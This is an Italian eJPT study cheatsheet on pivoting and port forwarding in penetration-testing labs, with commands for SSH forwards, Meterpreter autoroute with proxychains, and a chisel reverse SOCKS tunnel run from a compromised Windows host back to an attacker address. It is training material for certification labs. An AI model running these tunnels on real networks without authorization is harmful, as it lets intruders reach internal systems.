← Tutti i cheatsheet

eJPT · Exploitation & Post-Ex

Pivoting e Port Forwarding

Difficoltà: Intermediate Time to Master: 2.5h Prerequisiti: 03-Privilege-Escalation-Windows.md, 04-Privilege-Escalation-Linux.md Lab: INE PTS labs (rete multi-segmento)


Obiettivo

Compromenti il primo host, lanci un ip a per curiosità, e trovi una seconda interfaccia di rete che punta a una subnet che dal tuo attaccante non hai mai visto. È lì che entra in gioco il pivoting: usare quell’host come punto d’appoggio per instradare il tuo traffico verso reti che altrimenti resterebbero fuori portata. Nei lab INE PTS (reti multi-segmento per costruzione) questo non è un caso raro: è quasi la normalità.


Concetti chiave

Perché serve il pivoting

Un host compromesso spesso ha una seconda interfaccia di rete verso una subnet interna non raggiungibile direttamente dall’attaccante. Il pivoting instrada il tuo traffico attraverso quell’host per raggiungere quella subnet, come se il pivot diventasse temporaneamente il tuo router verso una rete che altrimenti non esiste per te.

Tecniche principali

Tecnica Come funziona Quando usarla
SSH local forward (-L) apre una porta locale che inoltra verso un host/porta remoti tramite il tunnel SSH accedere a un singolo servizio interno
SSH remote forward (-R) apre una porta sul lato remoto che inoltra verso l’attaccante esporre un listener locale al target
SSH dynamic forward (-D) crea un proxy SOCKS attraverso il tunnel instradare traffico arbitrario (con proxychains) verso la subnet interna
Meterpreter autoroute aggiunge una rotta nel routing table di Metasploit verso la subnet pivot usare moduli Metasploit direttamente sulla subnet interna
Chisel tunnel HTTP/websocket client-server, utile se SSH non è disponibile ambienti Windows o quando serve un tunnel più flessibile

Strumenti

Tool Comando base Output Note
ssh -L ssh -L 8080:10.10.10.20:80 user@pivot-host porta 8080 locale -> porta 80 sull’host interno richiede accesso SSH al pivot
ssh -D ssh -D 1080 user@pivot-host proxy SOCKS su localhost:1080 usare con proxychains per instradare altri tool
proxychains proxychains nmap -sT -Pn 10.10.10.20 scan instradato attraverso il proxy SOCKS va usato -sT (no SYN scan attraverso proxy)
meterpreter autoroute run autoroute -s 10.10.10.0/24 rotta aggiunta verso la subnet poi si può usare socks_proxy per proxychains anche da Metasploit
chisel ./chisel server -p 8000 --reverse (attaccante) / ./chisel client 10.10.14.5:8000 R:1080:socks (target) tunnel reverse con proxy SOCKS utile su Windows dove SSH non e disponibile

Payload / Esempi

Esempio 1: SSH local port forward verso un servizio interno

ssh -L 8080:10.10.20.5:80 user@10.10.10.5
# in un altro terminale:
curl http://127.0.0.1:8080

Spiegazione: l’host 10.10.10.5 (pivot, raggiungibile) può raggiungere 10.10.20.5:80 (subnet interna, non raggiungibile direttamente). Il forward rende quel servizio disponibile su localhost:8080 dell’attaccante.

Esempio 2: Meterpreter autoroute + proxychains

meterpreter > run autoroute -s 10.10.20.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run -j
# configura /etc/proxychains4.conf con socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -p 445 10.10.20.10

Output atteso:

[proxychains] Strict chain  ...  10.10.20.10:445  ...  OK

Spiegazione: autoroute fa in modo che qualsiasi modulo Metasploit lanciato dopo instradi automaticamente il traffico per quella subnet attraverso la sessione meterpreter; socks_proxy espone lo stesso instradamento come proxy SOCKS utilizzabile da tool esterni tramite proxychains.

Esempio 3: chisel per pivoting senza SSH (target Windows)

# sull'attaccante
./chisel server -p 8000 --reverse

# sul target Windows compromesso
chisel.exe client 10.10.14.5:8000 R:1080:socks

Spiegazione: chisel crea un tunnel reverse HTTP che incapsula un proxy SOCKS, utile quando il target non ha un client SSH disponibile (tipico su Windows senza OpenSSH installato).


Evasion / Bypass Techniques

Non applicabile in senso offensivo classico; l’unica accortezza e usare -sT (TCP connect) con proxychains, dato che scan SYN raw non funzionano attraverso un proxy SOCKS a livello applicativo.


Lab Hands-On

Lab 1: INE PTS lab multi-subnet

Obiettivo: compromettere un host nella DMZ e usarlo come pivot per raggiungere la subnet interna Difficulty: Media-Alta Time: 2h

Walkthrough breve:

  1. Compromenti il primo host raggiungibile (DMZ)
  2. Enumera le interfacce di rete dell’host (ip a / ipconfig) per scoprire subnet interne
  3. Configura un tunnel (SSH -D o meterpreter autoroute) verso la subnet interna
  4. Ripeti scanning/enumeration/exploitation sulla subnet interna attraverso il tunnel

Common Mistakes

  • Dimenticare di controllare le interfacce di rete di un host compromesso -> si perde una subnet intera raggiungibile solo da li
  • Usare -sS (SYN scan) con proxychains -> non funziona, serve sempre -sT
  • Non richiudere i tunnel a fine engagement -> lasciano accesso residuo indesiderato


Connessioni


Checklist di padronanza

  • So creare un tunnel SSH -L e -D
  • So usare autoroute + socks_proxy in Metasploit
  • So usare proxychains con nmap correttamente (-sT)
  • Conosco chisel come alternativa quando SSH non e disponibile